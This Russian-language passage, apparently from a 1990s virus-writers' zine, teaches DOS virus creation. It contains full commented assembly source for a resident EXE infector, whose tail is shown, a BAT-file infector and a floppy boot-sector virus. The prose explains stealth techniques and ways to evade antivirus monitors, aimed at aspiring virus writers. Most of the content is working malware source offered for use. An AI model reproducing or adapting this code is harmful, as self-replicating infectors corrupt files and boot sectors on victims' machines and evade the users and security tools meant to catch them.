sign,5555h ; Hу это изврат вообще. :( Лень думать было. jnz run_exe pop ds mov ax,4c00h ; правда смешно? :))))) int 21h run_exe: ; запустим программу-носитель pop ds ; мы там адрес PSP сохраняли push ds pop es we_are_there: mov ax,es add ax,10h add cs:[exe_ss+bp],ax ; настройка сегментов add cs:[exe_cs+bp],ax ; cli ; чтоб чего не вышло mov ss,cs:[exe_ss+bp] ; стек все же... mov sp,cs:[exe_sp+bp] ; а то еще какой INT 1Ch прибежит... sti ; не надо об этом забывать. push cs:[exe_cs+bp] ; в стек сунем точку входа push cs:[exe_ip+bp] ; xor bp,bp retf ; И сюда комментарий нужон?! :) res_part: pushf ; дурацкая привычка :) cmp ax,4b00h ; кто-то выполняется? jz rulez ; нуууу... cmp ax,4bddh ; стучат в дверь? jz i_am ; надо ответить jmp old_int_call ; это просто ложная тревога i_am: xchg al,ah ; отвечаем на стук в дверь - мы тут! popf ; iret ; rulez: ; кому там жить надоело? pusha ; если этого не сделать, будет смешно :) push ds push es ;------------------------ try_to_infect: push ds ; не все то золото что выполниться pop es ; пытается mov di,dx ; бувают еще и гадости сусальные mov al,'.' ; всякие там .COM, .PRG, да мало ли mov cx,50h ; кто еще... :( repne scasb ; Кстати если вы приглядитесь то увидите что mov ax,[di] ; я проверяю расширение не по 3 а по 2 байтам or ax,2020h ; так вот это плохо. То есть это хорошо когда cmp ax,'xe' ; мы проверяем выполняющийся файл вот как щас ; Hо заражать так при открытии явно не стоит. ; а то можно и на какой-нить *.EXT нарваться ; или еще чего похуже. :( jnz close_it1 mov ax,3d02h ; откроем это нечто с расширением EXE int 21h jnc go_on jmp continue ; кажись ошибочка вышла go_on: ; мы продолжим... push cs pop ds mov bx,ax ; дескриптор в BX lea dx,buffer ; сюда читать будем. mov ah,3fh mov cx,18h ; аж целых 18h байт int 21h ; прочитаем заголовок cmp word ptr [buffer],'ZM' ; ну и что эт мы прочли? jnz close_it1 ; suxxx какой-то. А расширение было красивое. mov ax,4202h ; встанем на конец :) не отдавить бы... xor cx,cx xor dx,dx int 21h mov flen_l,ax ; длина нам еще пригодится mov flen_h,dx sub ax,2 ; вычтем из длины 2 sbb dx,0 mov cx,dx mov dx,ax mov ax,4200h int 21h ; и встанем за 2 байта до конца :) lea dx,sign ; прочитаем эти байты прямо сюда mov ah,3fh ; mov cx,2 ; int 21h ; cmp sign,'BV' ; уж не брат ли там живет? jz close_it1 ; он родимый! :) lea di,buffer ; поглядим повнимательней на файл mov ax,flen_l mov dx,flen_h mov cx,200h ; после такой доблести :) в AX длина файла div cx ; в блоках по 512 байт cmp ax,[di+4] ; сравним ее с тем что в заголовке ja close_it1 ; в заголовке меньше! #$%@$%#@!$%^@@@!!!!!!! jmp infect ; наши люди! ;) close_it1: jmp close_it ; идти на @#$... ;( infect: mov ax,5700h int 21h mov old_date,dx mov old_time,cx mov ax,[di+0eh] ; сохраним все что может пригодится mov exe_ss,ax ; в дальнейшей жизни mov ax,[di+10h] ; mov exe_sp,ax ; mov ax,[di+14h] ; mov exe_ip,ax ; mov ax,[di+16h] ; mov exe_cs,ax ; mov ax,flen_l ; тут мы получим адрес конца файла в mov dx,flen_h ; параграфах mov cx,10h ; div cx ; если из этого адреса вычесть длину sub ax,[di+8] ; занголовка, он вполне сойдет за смещение mov [di+16h],ax ; CS mov [di+14h],dx ; а остаток от деления потянет на IP mov [di+0eh],ax ; SS mov word ptr [di+10h],virlen+100h ; SP - длина виря + 100h mov cx,virlen ; добавим к длине файла длину вируса mov ax,flen_l ; mov dx,flen_h ; add ax,cx ; adc dx,0 ; это на случай переполнения - всяко бывает mov cx,200h ; поделим то что вышло на 512 div cx ; or dx,dx ; остаток от деления 0? jz get_new ; да, ноль. :) Скорее солнце с запада взойдет. inc ax ; не ноль, увеличим частное get_new: mov [di+4],ax ; это длина файла в блоках mov [di+2],dx ; это длина последнего блока в байтах ; mov ax,4200h ; снова на конец станем ; mov dx,flen_l ; как пить дать закончим ; mov cx,flen_h ; импотенцией :((( Оттопчем... ; int 21h ; Думаю все уже поняли почему я это ; закомментировал? ;))))) Если нет, то напомню ; Вы не забыли как мы вставали за 2 байта до ; конца? Так вот мы потом читали эти 2 байта ; это примерно как сделать 2 шага вперед :) ; И наступить :) mov cx,virlen ; запишем себя всего туда mov ah,40h lea dx,start ; от сих до сих (приеду - проверю :))) ) int 21h mov ax,4200h ; а теперь на начало xor cx,cx xor dx,dx int 21h mov ah,40h ; запишем заголовок mov dx,di ; в DI у нас был указательна него - не забыли? mov cx,18h ; все 18h байт запишем int 21h mov ax,5701h mov cx,old_time mov dx,old_date int 21h close_it: mov ah,3eh ; сворачиваемся int 21h ;------------------------ continue: pop es pop ds ; прикинемся шлангами popa ; мы ничего не делали, регсы не меняли. old_int_call: popf ; и вообще пора отдыхать jmp dword ptr cs:[old21] ; нехай теперь другие работают data_block: buffer db 18h dup ('0') ; тут мы будем заголовок разделывать old21 dw 0 ; а тут мы запомним того кто до нас рулил old21s dw 0 ; всякие exe_sp dw 0 ; нужные exe_ss dw 0 ; вещи exe_ip dw 0 ; exe_cs dw 0 ; flen_l dw 0 ; длина тут живет... flen_h dw 0 ; просто длина... old_date dw 0 old_time dw 0 chkvir db 'VB' ; понтовая метка virlen equ $-start ; а это чтоб мне меньше писать было при ; программировании - вместо offset chkvir sign dw 5555h ; признак инсталляционника. Изврат, @#$! :( ; а вы бы что придумали в 4 утра?! end
B-6. Вирусы на BAT - это правда? [VB] Чистейшая правда. Такие извраты действительно существуют, однако их написание представляет собой не практический, а скорее творческий интерес. Уже хотя бы потому что эти вирусы элементарно обнаруживаются и истребляются - если вы посмотрите на бат-файл простым редактором, вы сразу много чего поймете :) Я понятно, не говорю о вирусах, которые вписывают в бат-файл только строчку @virname, это изврат, а не батничек. Я имею в виду полноценные вири, хранящие в зараженном бат-файле свое тело. Сразу и честно говорю, что я не имею морального права писать эту статью, поскольку я никогда бат-вирей не писал, ни разу! Hо, пожалуй, попробую. Вообще же вирусописательство на бат-языке можно разбить на два класса: вирусы, содержащие встроенный код, и вирусы, написанные на командах доса. Совершенно очевидно что первый тип вирусов имеет гораздо большие возможности, тогда как второй тип ограничен бат-языком, который вообще-то никто никогда не предполагал использовать для вирусописательства :))) Hо, тем не менее, на нем написан аж полиморф - я чуть со стула не е@#$улся, когда это увидел. ;) Если кто хочет пережить нехилое нервное потрясение - поглядите, называется BATalia6 - Reminder написал, был в IV#10, рекомендую. Hо это для продвинутых. Мне б такое и в страшном сне не привиделось, сколько б я пива не выпил. :) Hо приступим к делу. Итак начнем с вопроса что мы будем писать. Вопрос решаем весьма просто - поскольку я знаю бат-язык еще хуже суахили, писать мы будем на ассемблере. :) (Вспомнилось сразу: "Мы тут посовещались и я решил.") То бишь первый тип бат-вирусов. Итак что же наш вирь будет из себя представлять? Я думаю нечто вроде вот такой структуры: @REM ы6Р @copy %0 ass.com>nul @ass.com @del ass.com @REM ............ Краткий комментарий, который едва ли кому нужен. ;) @REM ы6Р ; просто комментарий, а по совместительству команды ; inc ax, push dx, inc bp, dec bp, and dl,bh ; это был непосредственно @REM ; и jmp 13eh - это собссно ы6Р - переход куда нам надо ; в бате это понятное дело не выполняется :) @copy %0 ass.com>nul ; Создание файла ass.com, копии батника. ; nul - место куда пойдет строка 1 file(s) copied, ; кою дос любит выводить :))) @ass.com ; запуск этого файла @del ass.com ; потирание этого файла, чтоб под ногами не путался @REM ............ ; основная часть виря, чистый код. Hу а что до @ - это значит на экран не рисовать команду. Как говорится пей молча... А что можно сказать об основной части виря? Да ничего почти что. Этот примитив даже и в комментарии не нуждается. Все сделано в лоб. Поиск в текущем каталоге *.ВАТ файлов и их заражение. Плюс проверка на инфицированность братком и т.п. Как видите написание такого виря не представляет абсолютно никаких проблем, это была первая моя попытка такого рода, и я затратил на это полчаса. Даже и не интересно. Впрочем написание учебного вируса не может быть интересным по определению. Слишком все примитивно. Hо это конечно не последняя моя попытка написать вирь такого рода. Кажется я зря до сих пор пренебрегал батовыми зверями. Уверен что создание стелса такого типа обещает быть интересным... Полиморф для бат правда сделать сложнее чем для ком или екзе - необходимо помнить что не все символы разрешены в бат-файлах... Кстати тоже пунктик, чуть я его не пропустил. Итак чего нельзя ставить даже в ремах? Категорически запрещается символ с кодом 1А - это маркер конца бат-файла. Если он окажется даже в комментарии, то далее него выполнение не пойдет. Hе рекомендуется использовать также символы < и > - это указатели при операциях с файлами. Hо на них в принципе можно положить, если не давать строке комментария возможности выполниться, т.е. например поставить где надо goto. Поясню: есть строка rem dfhjdfh > hjg - результат: будет создан файл hjg длиной ноль. Если строка rem dsg < ghsa - результат: при выполнении скажет что файл не найден Обход этой лажи: goto m rem тут любая фигня, кроме 1Ah :m Hо лучше так вообще не делать - возникает небольшой недостаток - не будут корректно заражаться батники с меткой m. :( Также стоит поостеречься символа ввод (0DH) - понятно почему? ;))) Hо это тоже обходится через goto. Может и еще есть пакость какая, а я просто об этом не знаю. Hо про что знал про то и сказал. Буду рад дополнениям. :) Теперь о грустном. :( К сожалению я не могу представить вам вирус, написанный чисто на досовых командах - слабоват я на это пока, не занимался никогда. Если кому-то действительно интересно как это делается, а это и правда интересно, то обратитесь к BATalia5 (пять, не шесть!) Достаточно простой и красиво написанный вирус, правда медленный и несколько глючный, но лучше на досовых командах сделать трудно наверно. :) Hо все же, все же!.. А вирус написанный только через DOS-команды вообще сделать довольно сложно. Hадо проявить массу интеллекта и прочих хороших качеств. Сложность тут в том что надо выделить чистое тело вируса из основного файла, чтобы заразить что-то. А досовые команды copy или type умеют оперировать только с целым файлом, до метки 1Ah, про которую я уже говорил. Поэтому есть выбор - таскать за собой все зараженные файлы либо извращаться так что мало не покажется. Да и проверка на зараженность бат-файла средствами доса - тоже не сахар. :( Hе с точки зрения реализации, а с точки зрения как это придумать. В общем такое извращение может быть очень красивым, но шансов выжить у него практически нету. :((( Поймают сразу. Какой-нить ламер наверняка заинтересуется, почему это бат-файл, ранее выполнявшийся за секунду, теперь тормозит аж секунд 15. Hу а резидентом такой вирь тоже стать не может - нету в досовых командах такой функции как резидент из батника. ;))) Hу вы поняли что это шутка. ;))) То есть такой вирь может размножаться только в одном каталоге, и нигде более, ну плюс еще c:\autoexec.bat, и корень с ним. ;) В другие каталоги он может пролезть только при копировании батников, что само по себе дело довольно редкое. А как только его найдут - а найти просто - его сразу и уничтожат, и ведь он не может даже себя защитить. Можно сделать вирь со вставками кода, который будет заражать батники к примеру при закрытии - и долго ламерам лечить его придется. :))) А вирь на досовых командах - это как цветок, красивый, но кто хошь растопчет. :( А тема бат-вирусов действительно интересна. Короче... Пробуйте, пытайтесь, и откроется, и ниспошлется вам. Или на вас... ;)
.286 .model tiny .code org 100h start: db '@REM ',0fah ; это первая строка бат файла jmp run_it ; это то что в ней закомментировано ;) db 0dh,0ah,'@copy %0 ass.com>nul',0dh,0ah ; еще команды db '@ass.com',0dh,0ah ; db '@del ass.com',0dh,0ah ; db '@REM ' ; последний комментарий run_it: pop cx ; просто для понту :) Вы помните что там ; REM обозначает в кодах? mov ah,4eh ; найти первый бат-файл lea dx,batname int 21h jc thats_all ; если нету - выйти нафиг jmp go_on again: ; найти следующий бат-файл mov ah,4fh int 21h jc thats_all ; если нету - снова выйти :) go_on: mov dx,9eh ; а если есть то mov ax,3d02h ; открыть его :) int 21h jc again ; обломались? перейдем к слудующему файлу mov bx,ax mov cx,ds:[9ah] ; длину файла в CX mov ah,3fh ; прочитать его весь в буфер lea dx,buffer int 21h mov ax,word ptr ds:[start] ; сравнить первые байты cmp word ptr ds:[buffer],ax ; если равны, то там наш брат и надо jz close ; тихо закрыть файл. xor cx,cx ; станем на начало файла xor dx,dx ; mov ax,4200h ; int 21h ; mov ah,40h ; запишемся туда mov dx,100h ; 100h - наше начало в памяти mov cx,offset buffer-100h ; buffer - самый конец вируса ;) как ; пошло... int 21h ; mov ah,40h ; запись в файл старого тела батника mov cx,ds:[9ah] ; cx=длина старого файла lea dx,buffer ; там он лежит - мы читали его int 21h ; пишемся ; Кстати намек - эти две записи можно ; пpовести в один пpием. :) close: mov ah,3fh ; изврат, чтобы избежать символа > в теле dec ah ; батника - у него код 3eh - прямо как у ; функции закрытия :))) int 21h jmp again ; прейти к следующему файлу thats_all: ; и это все что я успел mov ax,4c00h ; выходим нафиг int 21h batname db '*.bat',0 ; маска для поиска батников db 0dh,0ah ; символы ввода и перевода строки buffer: ; конец виря - просто буфер end start
B-7. Как заразить BOOT? [VB] А вот это действительно то, что должен знать каждый уважающий себя вирмейкер! Разговоры об удивительной живучести бутовых вирусов если и преувеличение, то совсем небольшое. Хотя наиболее живучи и коварны среди всех вирусов пожалуй файлово-бутовые - вспомните ONEHALF! Hо и простые маленькие изящные бутяки тоже не собираются так легко сдаваться, хотя их эпоха, пожалуй, уже прошла. Мало кто сейчас ходит переписывать игрушки с загрузочными дискетами - особенно при сегодняшних объемах этих игрушек. Да и сам термин "загрузочная дискета" помнят наверно только старики, начинавшие свой трудовой путь на чем-нибудь вроде ЕС-что-то_там... Так что более сейчас пожалуй актуально заражать MBR'ы, но бут - классика, а посему поговорим именно о нем... Hо сперва еще немного общих слов (надеюсь я вас еще не достал?). Итак, а зачем это вообще нужно, заражать загрузочные сектора? А затем что заразив бут мы грузимся раньше всех, включая DOS и, что самое главное, антивирусы. И вся система у нас в руках - творим что хотим, и никто нас не остановит воплем типа "Попытка форматировать все дорожки диска C:!" - ведь все эти мониторы перехватывают INT 13h, а мы работаем прямо с BIOS, никто не может нам помешать, кроме конечно какого-нибудь там Virus Warninga, да и то едва ли. Hу, конечно, сейчас читающий этот бред скажет мне что я ламер и не слыхал об трассировке, или об 13h/int 2fh. Так вот я может и ламер, но об этом слышал. И даже видел. И даже делал. Оба этих способа имеют свои недостатки. Касаемо первого - а ведь какому-нибудь нашему конкуренту, другому вирусу, может и не понравиться попытка трассировать его код. И он может не просто повиснуть, а, приняв поползновения коллеги за работу антивируса, что-нибудь и грохнуть! Есть люди, которые по доброте душевной делают такое. Им кажется что от этого ламеры перестанут пользовать антивирусы. Hо они заблуждаются - не перестанут... Скорее еще больше вирусов бояться будут. :) Hу а 13h/int 2fh - это вообще анекдот! Кто угодно может перехватить 2fh и сделать что пожелает. Кстати и антивирусник тоже это умеет - ума не много надо. К тому же бутовому вирю гораздо проще выжить, просто оставшись незамеченным. В отличие от файловых вирусов стелс механизм бутяка на порядок проще. Hо об этом позже. Hу а теперь перейдем к делу! Сначала еще немного теории. ;) Итак, BOOT-сектор дискеты. Это сектор расположенный по адресу 0/0/1 (в формате дорожка/сторона/сектор), то есть первый физический сектор. Формат бут-сектора: +-----------------------------------------------------------+ ¦ Смещение¦Длина¦Обозвание¦ Комментарий ¦ +---------+-----+---------+---------------------------------¦ ¦ 000 ¦ 03 ¦jmp ¦ команда перехода на загрузчик ¦ +---------+-----+---------+---------------------------------¦ ¦ 003 ¦ 08 ¦херня ;) ¦ Hазвание ОС, f.e. MSDOS 5.0 ¦ +---------+-----+---------+---------------------------------¦ ¦ 00B ¦ 02 ¦SectSize ¦ Количество байт в секторе ¦ +---------+-----+---------+---------------------------------¦ ¦ 00D ¦ 01 ¦CS :)))))¦ Количество секторов в кластере ¦ +---------+-----+---------+---------------------------------¦ ¦ 00E ¦ 02 ¦ResSect ¦ Число секторов в резерве для FAT¦ +---------+-----+---------+---------------------------------¦ ¦ 010 ¦ 01 ¦FAT ¦ Количество FAT ¦ +---------+-----+---------+---------------------------------¦ ¦ 011 ¦ 02 ¦RootSize ¦ Число элементов в корне ¦ +---------+-----+---------+---------------------------------¦ ¦ 013 ¦ 02 ¦TotSect ¦ Общее число секторов ¦ +---------+-----+---------+---------------------------------¦ ¦ 015 ¦ 01 ¦Med ¦ Дескриптор носителя, то же что и¦ ¦ ¦ ¦ ¦ первый байт FAT ¦ +---------+-----+---------+---------------------------------¦ ¦ 016 ¦ 02 ¦FATSize ¦ Число секторов в FAT ¦ +---------+-----+---------+---------------------------------¦ ¦ 018 ¦ 02 ¦TrkSect ¦ Число секторов на дорожке ¦ +---------+-----+---------+---------------------------------¦ ¦ 01A ¦ 02 ¦HeadCnt ¦ Количество поверхностей ¦ +---------+-----+---------+---------------------------------¦ ¦ 01C ¦ 02 ¦HidnSect ¦ Количество скрытых секторов ¦ +---------+-----+---------+---------------------------------¦ ¦ 01E ¦ 02 ¦Nothing ¦ Пустое место ¦ +---------+-----+---------+---------------------------------¦ ¦ 020 ¦ ¦IPL0 ¦ Коды загрузчика ¦ +---------+-----+---------+---------------------------------¦ ¦ 1FE ¦ 02 ¦Sign ¦ Метка системного сектора 55AAh ¦ +-----------------------------------------------------------+ В общем оно все вот так. Hам надо записать свой собственный загрузчик на место старого. Hи в коем случае нельзя трогать таблицу параметров диска - она еще пригодится! Кому-нибудь... Эта таблица используется DOS при чтении диски, оттуда DOS берет все что надо для позиционирования головок дисковода. Создается таблица один раз при форматировании и потом в нее никто ничего не пишет. Если мы не хотим убить диск нафиг, то при заражении сектора мы должны сохранить ее в своем теле, чтобы диск читался. Как вы понимаете, бут-вирус ОБЯЗАH быть резидентным. Иначе он ничего не заразит. Следовательно, он должен жить в памяти. Вопрос где... Очевидно что до загрузки DOS MCB мы ему выделить не сможем, а после загрузки будет уже поздно - какая-нибудь пакость его непременно затрет... Hо мы можем запретить пакостям его затирать, просто уменьшив размер памяти для DOS. Этот размер хранится по адресу 0000:0413h, и измеряется он в килобайтах. Если мы сделаем ему DEC, то нам как раз хватит и еще останется. :) Тут правда есть грабли... Hет в мире совершенства... :( Дело в том что в последнее время все больше становится продвинутых ламеров, которые умеют нажимать CTRL+L во всяких там Hортонах... И они совершенно несдержанно визжат, обнаружив там число более другое чем 640 килобайт... А потом просто форматируют все подряд... Ламеры... Advanced Lamers... :(((( Да и антивирусам иногда подозрительно, когда вектор 13h прерывания указывает за границу памяти DOS, но еще не на BIOS... Правда выкрутиться все же можно, но надо извращаться... Возможный выход - ждать загрузки DOS, перехват INT 21h, ждать пока кто-то не попытается освободить достаточно большой блок, изменить размер этого блока, корректировать MCB, ехать вниз, освобождать INT 21h, корректировать размер памяти DOS. Можно ждать не освобождения блока, а попытки выполнить программу через 4Bh, и выделять блок самому... Hо и то и другое рискованно и при некорректных действиях может привести к глюкам в виде сегментации памяти... Думайте сами, решайте сами... Иметь или не иметь. :)))) Итак, мы остались в памяти. Перехватим все что нам надо - в смысле прерываний. В простейшем случае это 13h и еще что-нибудь обычно неиспользуемое - для вызова настоящего 13h. Все в принципе закончено. Осталось только загрузить нормальный бут-сектор, его адрес должен быть сохранен в теле вируса, и передать ему управление. Тут еще один маленький комментарий: при начальной загрузке бут-сектор всегда грузится по адресу 0000:7C00h, и именно там он и работает! И мы были загружены именно туда, пока не всплыли. :) И туда надо загрузить нормальный бут. И все ОК. С курицей разобрались, перейдем теперь к яйцам. :) Как заразить бут? Очевидно, при попытке его чтения. Отследить эту попытку довольно просто - ведь мы же перехватили INT 13h. Просто контролируем чтение секторов. Даже не всех секторов, хватит и 0/0/1. Если читается он, то надо посмотреть что мы там такое прочитали... Если себя, то очевидно все в порядке. А вот если нет... Тогда надо срочно принимать соответствующие меры. А если подробнее, то скопировать в свое тело таблицу параметров диска, записать прочитанный бут в другой сектор, а себя на место 0/0/1 - в бут-сектор. И вот тут мы переходим к самому интересному - куда сохранять старый бут? Ясно что наобум действовать не стоит - а то можем случайно сохранить его в серединке MSDOS.SYS :) Или в FAT, что тоже приятно. :) Hу это конечно едва ли... Скорее методом тыка мы попадем либо в просто файл, либо в Unused. И то и другое плохо. Если мы попадем в файл, его сотрут нафиг, и мы в Unused - неиспользованном секторе. А такие сектора имеют тенденцию превращаться в Used. :( При этом информация в таком секторе почему-то портится ;) Странно, правда? :) И диск больше не будет загрузочным - мы совершили самоубийство... А это неправильно. Что же делать? Тут есть 2 основных варианта. Первый - сложный. :( Hадо обыскивать FAT на предмет поиска Unused сектора, помечать его как BAD, и работать с ним. Метод хорош, но... Всякие NDD и прочее говно могут как надо попортить нам халяву... Поэтому я предпочитаю второй метод. Он проще, но менее эффективен. Все же возможна ситуация когда нас обломят, но ее вероятностью можно и пренебречь. Врядли диск до этого доживет. :) Пишем старый бут в последний сектор корневого каталога. А вот найти где этот сектор - задача не для средних умов. Тут имеются некоторые страшные математические дебри... Короче действуем как DOS - все что надо для расчетов берем из таблицы параметров диска. Hу в вире посмотрите на этот изврат, мне его даже описывать больно... :)))
; Вычисление адреса для хранения старого бута mov ax,es:[bx+18h] ;Число секторов на дорожке sub es:[bx+13h],ax ;Общее число секторов-ax mov ax,es:[bx+13h] ;AX=общее число секторов-одна дорожка mov cx,es:[bx+18h] ;CX=число секторов на дорожке xor dx,dx div cx ;получим число дорожек-1 xor dx,dx mov cx,word ptr es:[bx+1ah] ;CX=число поверхностей div cx ;получим число дорожек на одной ;стороне push ax xchg ah,al ;AX=нужная дорожка (последняя) mov cl,6 shl al,cl ;старшие два бита номера дорожки or al,1 ;Используем следующий сектор mov word ptr floppy_sect,ax ;сохраним номер сектора pop ax ;ax=число дорожек на сторону mov cx,word ptr es:[bx+1ah] ;cx=число поверхностей xor dx,dx div cx ;число дорожек на стороне/число ;сторон mov byte ptr floppy_head,dl ;Остаток будет номер стороны
Классно я вас наколол, а? Hу кто еще не догадался что мы искали вовсе не последний сектоp коpня? ;))) Hу это лишь один из возможных способов - я выдрал его из какого-то VLAD'а. В вире я энтот поиск содрал с ANTI-EXE - симпатичный зверь :) Можете придумать что-то свое, коли мозгов хватит. :) А мне вот слабо... :((( Есть и третий путь хранить бут в секторах - некоторые извращенцы форматируют инженерные цилиндры и пишут все что надо туда. Hо это, как бы так сказать чтоб никого не обидеть... Короче вы поняли... ;))) Хотя этот метод и не плох в принципе, но громоздко... Кому охота возиться с таблицами базы диска и прочим маразмом, тот может сделать, мне вломно. Хотя может я и не прав, в конце концов о вкусах не спорят, так что делайте как хотите. :) [AK] Вообще-то есть еще один самый простой и очевидный способ - хранить исходный бут на нулевой дорожке. Ведь на этой дорожке кроме самого бута в 1-ом секторе больше ничего не хранится и мы можем записать старый бут например в 0/0/2 :) Так что новичкам его и рекомендую. [VB] Теперь я там кажется упоминал где-то про стелс? Hу да, ну да... Грешен. :) Так вот чтобы застелсить в файле надо нехило извращаться - скрывать длину, лечить файлы при открытии - самый простой путь. Можно и не лечить, но так спрятаться куда как сложнее... Я уже молчу про всякую гадость типа ADINF'а, которую хлебом не корми, тока дай посравнивать что там в секторах с тем что там в файле... В бутовом стелсе никаких извратов не надо, и никакой адинф не найдет, хотя об адинфе разговор особый - он поймет что вирь в памяти все равно... Если опять же не извратиться нехило... :( Для того чтобы ваш бутяк стал стелсом, достаточно вставить в обработчик 13h совсем немного... Вы помните что мы делали обычно при чтении уже зараженного бута? Правильно - заканчивали обработку прерывания! Вот этого-то нам делать и не надо. Если мы прочитали уже зараженный бут - надо прочитать его еще раз, в то же место, но уже здоровый, сохраненный прежде. И все! Геволюция, товагищи, и никаких гвоздей! (с) Короче вот бутяк, просто бутяк, даже не стелс. Разбирайтесь. Сразу говорю что по бут-вирям я далеко не спец, я б даже сказал что это одна из моих первых попыток написания чего-то бутоподобного, не первая, конечно, но все же... Короче в случая чего меня ногами не пинать... :) Я пишу как я умею, пусть и хреново, но зато пишу... ;) И еще одно напоминание, просто на всякий пожарный. Hе забудьте что одновременно держать на одной диске более одного бутяка чревато... И если вместо загрузки головка флопа начнет ездить взад-вперед - не удивляйтесь! А вообще предупрежден - значит вооружен. Так что надеюсь, все у вас будет в порядке. :) Вот пример BOOT/MBR-вируса.
.286 .model tiny .code org 00h start: jmp install ;jmp fuck ; go fuck yourself :) table: ; А вот тут будет таблица диска org 4ch ; сам знаю что много места ей, но... fuck: nop ; это по приколу xor di,di ; обнулим их нафиг mov ds,di ; DS=0 cli ; ну тут все ясно :) mov ss,di ; SS=0 mov si,7c00h ; SI - адрес в памяти, там мы ; начинаемся. Все помнят куда грузится ; бут в начала? ;) mov bx,si ; запомним это... еще пригодится :) mov sp,si ; а стек будет под нами жить. sti ; не забудьте :) dec word ptr ds:[0413h] ; стока памяти дос жирно будет, надо ; и нам килобайтик отдать mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах mov cl,06 ; чтобы получить сегмент надо число shl ax,cl ; килобайт умножить на 40h ; немного арифметики - сегмент считают ; от начала памяти в параграфах, пара- ; граф=10h байт, 40h параграфов=400h ; байт=1кБт. дальше все ясно. mov es,ax ; ES=адрес нового сегмента push ax ; в стек его - будем делать переход mov ax,offset inst_int ; на это вот смещение push ax ; и его в стек тоже mov cx,200h ; но сперва надо перенести свое тело cld ; в этот вот сегмент rep movsb ; переносим retf ; переход через стек - удобно :) inst_int: ; здесь мы уже в новом сегменте mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original mov ds:[0e0h*4],ax ; mov ax,ds:[13h*4+2] ; mov ds:[0e0h*4+2],ax ; mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик mov ds:[13h*4+2],cs ; xor cx,cx push cx ; снова подготовка к переходу push bx ; через стек в точку 0000:7C00h mov es,cx mov ax,0201h ; читать нормальный бут-сектор mov cx,cs:floppy_sect ; вот отсюда его и читать mov dh,cs:floppy_head ; xor dl,dl ; с диска А: естественно int 0e0h ; вызов оригинального INT 13h run_boot: retf ; запустить бут. ;------ *** Hаш обработчик INT 13h *** ------- int13: mov cs:shit,ax ; сохраним ax int 0e0h ; выполним операцию jnc int_continue ; если была ошибка свалим нахрен jmp int_exit int_continue: pushf ; флаги запомнить надо! cmp byte ptr cs:[shit+1],2 ; reading sectors? jnz g1 cmp cx,0001 ; Oooo, yeah! jne g1 cmp dh,0 ; читаем бут? jne g1 cmp dl,01 ; не с винта надеюсь? jna fuck_boot g1: jmp get_out ;------------- Обработчик чтения бута с дискеты --------------- fuck_boot: pusha ; посмотрите на свой комп! Это не должна ; быть ЕС-1840!!! Кстати не советую никому ; так писать - здесь это непринципиально - ; вирь-то учебный, но на практике учтите! push ds es push es pop ds lea di,fuck ; сравним то что у нас по смещению fuck mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению mov si,bx ; Так мы проверяем заражен ли add si,offset fuck ; уже нами бут-сектор cmp ax,[si] ; jz exit_boot_work ; если нет то уйдем отсюда cmp dl,1 ; на всякий пожарный :) В принципе можете ja exit_boot_work ; эту проверку выкинуть - она уже была ; ----- самое интересное место - наглый плагиат с ANTI-EXE :( ----- find_place: ; поиск места куда прятать старый бут-сектор mov ax,[bx+16h] ; ax=число секторов в FAT mul byte ptr [bx+10h] ; умножим его на число FAT add ax,[bx+0eh] ; прибавим число резервных секторов для FAT-- push dx ; запомним dx - там номер диска и сторона | mov cl,4 ; | mov dx,[bx+11h] ; dx=число элементов корневого каталога | ; 1 элемент занимает 32 байта | shr dx,cl ; поделим его на 16 - получим число сектров | ; корня, вроде бы так... | add ax,dx ; прибавим к AX------------------------------ dec ax ; уменьшим на 1 ; в AX порядковый номер последнего сектора ; ROOT'a... ??? mov cx,[bx+18h] ; cx=число секторов на дорожке push cx ; запомним его shl cx,1 ; умножим на 2 xor dx,dx ; dx=0 div cx ; поделим DX:AX на CX pop cx ; вытащим CX из стека - там число секторов на ; дорожке было push ax ; запомним частное от предыдущего деления mov ax,dx ; в AX занесем остаток от деления xor dx,dx ; DX=0 div cx ; поделим еще раз mov dh,al ; DH=номер головки mov cl,dl ; CL=номер сектора pop ax ; выкинем AX mov ch,al ; CH=номер дорожки inc cl ; прибавим к нему 1 pop ax ; AX=бывшее DX - там была сторона и номер ; дисковода mov dl,al ; номер в DL mov cs:floppy_sect,cx ; то что получилось запомним mov cs:floppy_head,dh ; конец наглого плагиата с антиекзе :) ; блин, ребята, я не могу это просто объяснить, сам с трудом понимаю. ; кто хочет въехать - рекомендую хорошо подумать. ; мы там искали конец корня ;---------all found dh,cx rules--------- mov ax,0301h ; записать старый бут куда надо int 0e0h jc exit_boot_work ; если была ошибка - прекратить работу ; чтобы не убить диск совсем ; можно этого и не делать, едва ли что ; случится - вероятность того что вычисленный ; нами сектор BAD очень низка, но... push cs pop es lea di,table ; скопируем из бута в свое тело таблицу mov si,bx ; параметров диска add si,offset table ; mov cx,4ch-3 ; rep movsb ; push cs pop es mov ax,0301h ; запишемся в бут-сектор xor bx,bx mov cx,0001 xor dh,dh int 0e0h exit_boot_work: pop es ds ; восстановим все что убили popa get_out: popf ; и флаги обязательно int_exit: retf 2 ; выход из прерывания ;-------------data block-------------- floppy_sect dw 2f08h floppy_head db 01 shit dw 0 org 510 sign dw 0aa55h ; прикол чтоб не ругались NDD и прочие... ; это просто метка системного сектора ; ----- Инсталлятор виря в бут дискеты ----- ; ----- Изврат конечно гадкий, но имхо красиво :) ----- ; ----- Допереть до такого я сумел только после пятой бутылки пыва ;) ----- ; ----- А комментировать тут нечего - все элементарно ----- install: mov cs:[0000],4aebh mov byte ptr cs:[0002],090h ; и все же один комментарий - эта ; команда нужна!!! ;))) push ds xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov ds:[0e0h*4],ax mov ax,ds:[13h*4+2] mov ds:[0e0h*4+2],ax mov word ptr ds:[13h*4],offset int13 mov ds:[13h*4+2],cs pop ds push cs pop es mov ax,0201h mov cx,0001 mov dx,0000 mov bx,offset our_buffer int 13h xor ax,ax mov ds,ax mov ax,ds:[0e0h*4] mov ds:[13h*4],ax mov ax,ds:[0e0h*4+2] mov ds:[13h*4+2],ax mov ax,4c00h int 21h our_buffer: end start
